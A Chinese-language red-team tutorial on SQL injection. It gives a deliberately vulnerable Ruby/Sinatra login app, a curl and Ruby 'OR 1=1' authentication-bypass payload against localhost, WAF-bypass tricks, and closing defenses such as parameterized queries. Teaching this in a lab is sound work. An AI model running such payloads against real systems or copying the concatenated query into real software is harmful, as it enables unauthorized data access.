0x01 真实案例带你入门

在一次渗透测试任务中,我接到一个任务:目标是一家金融企业,他们的内部系统由于功能复杂,维护不善,曾遭遇过多次攻击。我的任务是评估该系统是否存在SQL注入漏洞。一开始,我怀疑他们的搜索功能可能存在问题,因为搜索参数直接被传递到了后端数据库。

黑客示意图

经过简单的测试,我意识到这个猜想是正确的。通过在搜索框中输入 ' OR 1=1 --,我成功地返回了所有的数据库记录。这个常见的SQL注入技巧就是通过在输入中加入条件来混淆系统的查询逻辑,从而导致意料之外的数据被暴露。

0x02 漏洞背后的秘密

黑客示意图

SQL注入是由于应用程序没有正确过滤或转义用户输入,这些输入直接被插入到SQL查询中,导致数据库可以执行未预期的命令。其根源在于开发人员疏忽了对输入参数进行校验和过滤,尤其是在复杂查询、动态拼接SQL语句时。

黑客示意图

SQL注入的目标一般是窃取、修改、破坏数据,或者获得服务器的进一步控制权限。常见的SQL注入类型有基于文本的注入、基于盲注的注入和基于错误的注入,它们各自有不同的攻击方式和难度。

0x03 环境搭建与准备

为进行SQL注入的实战演练,我们需要搭建一个包含漏洞的测试环境。可以使用一款开源的Web应用漏洞靶场,比如DVWA(Damn Vulnerable Web Application),或者直接通过一个简单的Ruby应用来模拟。

下面是一个简单的Ruby Web应用示例:

<pre><code class="language-ruby">require &#039;sinatra&#039; require &#039;sqlite3&#039;

set :bind, &#039;0.0.0.0&#039;

db = SQLite3::Database.new &#039;:memory:&#039; db.execute &#039;CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)&#039; db.execute &#039;INSERT INTO users (username, password) VALUES (&quot;admin&quot;, &quot;password&quot;), (&quot;guest&quot;, &quot;guest&quot;)&#039;

get &#039;/&#039; do erb :index end

post &#039;/login&#039; do username = params[:username] password = params[:password]

这里就是漏洞所在,未对输入进行处理

user = db.execute &quot;SELECT * FROM users WHERE username=&#039;#{username}&#039; AND password=&#039;#{password}&#039;&quot;

if user.any? &quot;Welcome, #{user[0][1]}!&quot; else &quot;Login failed!&quot; end end

__END__

@@index &lt;form method=&quot;post&quot; action=&quot;/login&quot;&gt; Username: &lt;input type=&quot;text&quot; name=&quot;username&quot;&gt;&lt;br&gt; Password: &lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&lt;br&gt; &lt;input type=&quot;submit&quot; value=&quot;Login&quot;&gt; &lt;/form&gt;</code></pre>

这个简单的应用程序模拟了一个登录系统,缺乏对输入进行严格的过滤。

0x04 实战破解,轻松自如

代码搭建完成后,我们便可以开始尝试攻击。为了测试SQL注入,我们可以使用如下的攻击Payload:

<pre><code class="language-shell">curl -d &quot;username=admin&#039; OR &#039;1&#039;=&#039;1&amp;password=foo&quot; http://localhost:4567/login</code></pre>

通过这种方式,传递的SQL语句的条件部分变成了一个总是为真的表达式,从而返回所有的用户记录,成功绕过了用户名和密码的校验。与此同时,我们还可以尝试其他形式的Payload以探索数据库中的敏感信息。

Ruby版本与Shell结合使用

<pre><code class="language-ruby"># 通过Shell命令执行SQL注入攻击 def run_sql_injection payload = &quot;&#039; OR &#039;1&#039;=&#039;1&quot; system(&quot;curl -d \&quot;username=admin#{payload}&amp;password=foo\&quot; http://localhost:4567/login&quot;) end

run_sql_injection</code></pre>

在实际攻击中,我们可以通过脚本化的方式批量执行不同的Payload,甚至通过结合常见的Wordlist进行暴力破解,寻找更多敏感数据。

0x05 绕过与对抗,智慧的游戏

攻击过程中,目标可能会使用一些基本的防护措施,比如简单的WAF规则或过滤机制。针对这些情况,我们可以通过以下方法来进行绕过:

  • 编码绕过:使用URL编码或UTF-8编码来规避简单的过滤规则。
  • 注释符号:在SQL语句中使用注释符--来隐藏后续的内容。
  • 大小写变化:有些防御机制对大小写敏感,可以通过变化来避免被检测。
  • 混淆技术:使用二次编码或字符替换来混淆攻击语句。

0x06 防御与监控,堵住漏洞

虽然我们从攻击者的视角来思考问题,但作为红队人员,我们也应熟悉防御措施,以便于在模拟攻击中遵循道德标准。建议的保护措施包括:

  • 预编译语句:使用参数化查询来避免直接拼接SQL语句。
  • 严格过滤:对输入进行严格的过滤和校验。
  • 数据库权限:限制数据库用户权限,分离应用用户和管理用户。
  • 监控与日志:启用数据库和应用监控,及时检测异常行为。

0x07 红队技巧分享

在多年的实战经验中,我发现SQL注入不仅仅是一个技术问题,还是一个策略问题。以下是一些个人经验分享:

  • 多角度测试:不要局限于一种攻击技术,结合不同场景和目标进行多角度测试。
  • 积累Payload:在日常测试中积累不同类型的Payload,以便应对不同场景。
  • 工具与自动化:善用工具如SQLMap,但也要灵活使用自写脚本,提升攻击效率。
  • 持续学习:攻击技术不断更新,保持学习和研究的态度是红队人员的必备素养。

通过这些技巧,渗透测试不仅能够发现漏洞,还能帮助企业提升安全能力,增强防御意识。记住,红队不仅是攻击者,更是企业安全的守护者。